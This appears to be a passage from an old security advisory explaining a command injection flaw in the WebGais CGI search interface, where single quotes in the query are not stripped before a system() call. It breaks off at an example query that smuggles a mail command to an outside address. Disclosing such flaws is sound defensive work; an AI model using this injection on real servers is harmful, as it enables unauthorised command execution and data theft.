WebGais is an interface to the GAIS search tool. It installs a few programs in /cgi-bin. The main utility is called "webgais" and does the actual interfacing with the search tool. It reads the query from a user form, and then runs the GAIS search engine for that query. The author tried to protect the program by using single quotes around the query when he passed it to a "system" command. But he forgot one VERY important thing: to strip single quotes from the query (this was done in Glimpse). So, if we send a query like: query=';mail+foo@somewhere.net